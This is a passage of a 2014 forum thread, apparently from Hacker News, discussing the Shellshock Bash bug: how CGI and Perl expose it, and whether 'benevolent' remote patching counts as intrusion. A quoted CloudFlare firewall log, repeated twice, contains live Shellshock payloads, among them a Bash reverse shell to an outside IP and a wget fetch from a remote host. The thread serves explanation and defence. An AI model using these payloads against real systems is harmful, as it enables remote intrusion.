Everything you need to know about the Shellshock Bash bug • Hacker News Board

Re: Everything you need to know about the Shellshock Bash bug

#211

Post by benjamincburns » Thu, Sep 25, 2014, 6:30 PM UTC

larrys wrote: post #189

nacnud wrote: post #130

Unless I've missed something, could some benevolent person use the bug to cause remote systems to run something like "sudo apt-get update && sudo apt-get install bash", to patch the vulnerability automatically? (it makes lots of assumptions, but surely it's better to have some patched systems as a result.)

"could some benevolent person use the bug to cause remote systems to run something like " That's not benevolent that's intrusion. Nobody has the right to take it upon themselves to determine what someone else should be doing in this case. I would imagine that an action like that would also clearly violate a law or two (I'm sure others more knowledgeable could cite the law).

At the risk of participating in a philosophical debate, I pose a classic counterexample:

You encounter a car parked on the side of the road in the middle of nowhere. Its windows are rolled down. Storm clouds are rumbling nearby and it's obviously about to rain. There's nobody around but you.

Do you also consider rolling up the windows to be intrusion?

Personally I'd feel an ethical obligation to help the stranger out by preventing damage to his/her property. However I can completely understand people leaving well-enough alone.

Law aside, I'm much more on the fence about people automatically scanning for and "fixing" vulnerabilities, however. On one hand, how do you know you're really helping? On the other, as someone who's maintained a server or two, I'd rather be solving problems caused by a well-intentioned whitehat than miss problems caused by ill-intentioned blackhats.

Re: Everything you need to know about the Shellshock Bash bug

#212

Post by mzs » Thu, Sep 25, 2014, 6:40 PM UTC

drdaeman wrote: post #131

Had anyone suggested and/or implemented something like building a tiny wrapper for bash that would clean environment and then execve("/bin/bash.vulnerable", argv, cleaned_envp)?

    $ /usr/bin/env - /usr/local/bin/bash -c set sh
    BASH=/usr/local/bin/bash
    ...

Re: Everything you need to know about the Shellshock Bash bug

#213

Post by coryrc » Thu, Sep 25, 2014, 6:42 PM UTC

nacnud wrote: post #130

Unless I've missed something, could some benevolent person use the bug to cause remote systems to run something like "sudo apt-get update && sudo apt-get install bash", to patch the vulnerability automatically? (it makes lots of assumptions, but surely it's better to have some patched systems as a result.)

Better to use:

echo You are vulnerable to shellshock | wall

Re: Everything you need to know about the Shellshock Bash bug

#214

Post by cygx » Thu, Sep 25, 2014, 6:42 PM UTC

PeterWhittaker wrote: post #156

Folks, for what it's worth, here is a management briefing I wrote this morning. Please feel free to re-use, but please do give proper attribution. Please do comment and correct as appropriate. Summary: Briefing for management on activities to minimize impacts of the "shellshock" computer vulnerability. Status: Testing underway. Initial appraisals are that public-facing systems are likely not subject to shellshock. NO…

Android and iOS are variants of Linus

What kind of variants? Doppelgänger? Clones? SCNR

Re: Everything you need to know about the Shellshock Bash bug

#215

Post by curun1r » Thu, Sep 25, 2014, 6:45 PM UTC

jgrahamc wrote: post #39

This is being actively exploited. We (CloudFlare) put in place WAF rules to block the exploit yesterday and I've been looking at the log files for the blocking to see what's going on. Have been seeing things like: () { :;}; /bin/ping -c 1 198.x.x.x () { :;}; echo shellshock-scan > /dev/udp/example.com/1234 () { ignored;};/bin/bash -i >& /dev/tcp/104.x.x.x/80 0>&1 () { test;};/usr/bin/wget http://example.com/music/fil…

Only a few of those look like exploits. A lot of them look like customers testing whether they're vulnerable.

Re: Everything you need to know about the Shellshock Bash bug

#216

Post by diminoten » Thu, Sep 25, 2014, 6:55 PM UTC

jgrahamc wrote: post #39

This is being actively exploited. We (CloudFlare) put in place WAF rules to block the exploit yesterday and I've been looking at the log files for the blocking to see what's going on. Have been seeing things like: () { :;}; /bin/ping -c 1 198.x.x.x () { :;}; echo shellshock-scan > /dev/udp/example.com/1234 () { ignored;};/bin/bash -i >& /dev/tcp/104.x.x.x/80 0>&1 () { test;};/usr/bin/wget http://example.com/music/fil…

Are you guys at all capable of seeing how far back exploitation of this goes?

Re: Everything you need to know about the Shellshock Bash bug

#217

Post by diminoten » Thu, Sep 25, 2014, 7:01 PM UTC

mhurron wrote: post #114

ninkendo wrote: post #97

Earlier quoted context omitted.

Seriously, for an "Everything you need to know about X" post, they're very light on the details of what exactly makes a web server vulnerable.

If you run CGI you may be/probably are. Honestly, I'm having trouble seeing how this is the end of the world vulnerability that it's being hyped as.

This is "end of the world" mostly because of all the "things" (a la "Internet of things") like toasters, microwaves, refrigerators, etc. all have vulnerable bash versions.

Re: Everything you need to know about the Shellshock Bash bug

#218

Post by blacksqr » Thu, Sep 25, 2014, 7:02 PM UTC

icedchai wrote: post #208

dkarl wrote: post #178

Earlier quoted context omitted.

That was my first question as well. The behavior sounds like exactly the kind of magical weirdness you get with shells. Your question is asked and answered here: https://stackoverflow.com/questions/26022248/is-the-behavior... The answer given there is that the behavior is NOT a documented feature; it's a side-effect of how bash implements inherited functions. I was also very confused about why a web server would need…

Apache isn't setting CGI variables using the shell. It may call a shell (indirectly or directly) when executing the CGI script.

So does that mean that running a bash script under cgi doesn't inherently expose you to the vulnerability, you're vulnerable only if the bash script called invokes a shell in a sub-process?

Re: Everything you need to know about the Shellshock Bash bug

#219

Post by nkozyra » Thu, Sep 25, 2014, 7:06 PM UTC

rlucas wrote: post #186

nkozyra wrote: post #124

Earlier quoted context omitted.

It seems like the pathway must be exploiter -> machine -> conduit (in this case, a web server) -> bash command through scripting language but that doesn't really make sense to me. if it's in the header as a cookie header, in php that would require something like this: $someVar = $_COOKIE['somecookiekey']; exec($someVar); this is a super fringe case, and wouldn't warrant this big of a deal. for this to be a 10/10 issu…

No, you fundamentally and dangerously misunderstand the bug. Your "exec($SomeVar)" example is a standard, unsanitized-input-passed-to-command-line type bug. Shellshock does something fundamentally different. Everything on the actual command line is irrelevant to shellshock. What happens is that the child Bash inherits env vars from the parent (which is often the web server). The shellshock bug is that the ENV VARS TH…

I'm sorry, my lack of understanding it was supposed to be apparent in that post, and indeed you clarified that it's actually more the second scenario I hinted at. I was responding to people talking specifically about an underlying language making system calls and that not making said system calls from the language itself would keep you safe.

You're confirming the suspicion that I had. To wit:

"for this to be a 10/10 issue, it has to mean that processing the header files in Nginx/Apache results in some buffer overflow or for those values to be directly fed to bash."

Not a buffer overflow, but if those headers are being fed upwards into bash, that's what we're both talking about.

Re: Everything you need to know about the Shellshock Bash bug

#220

Post by rbh42 » Thu, Sep 25, 2014, 7:14 PM UTC

candl wrote: post #209

regularfry wrote: post #201

Earlier quoted context omitted.

This is not my understanding. My understanding is that because this mechanism is intended to pass functions down to the system() call, all environment variables are parsed up front in case they contain any. Because the vulnerability lies in the parsing, it doesn't matter whether you reference the variable in the subsequent shell process or not.

Odd. I am running quite old software: echo $0 -> bash ls -l /bin/sh -> /bin/bash GNU bash, version 3.1.17(2)-release Apache/2.2.25 And I couldn't reproduce the vurnerability in a perl cgi script unless I had explicitly referenced an environment variable in the system() call like I posted above. I thought all versions are vurnerable. #test-cgi.pl use strict; use warnings; use CGI; print "Content-Type: text/plain\n\n";…

From "man perlfunc" unser "system":

If there is only one scalar argument, the argument is checked for shell metacharacters, and if there are any, the entire argument is passed to the system's command shell for parsing (this is "/bin/sh -c" on Unix platforms, but varies on other platforms). If there are no shell metacharacters in the argument, it is split into words and passed directly to "execvp", which is more efficient.

So your example does not invoke the shell.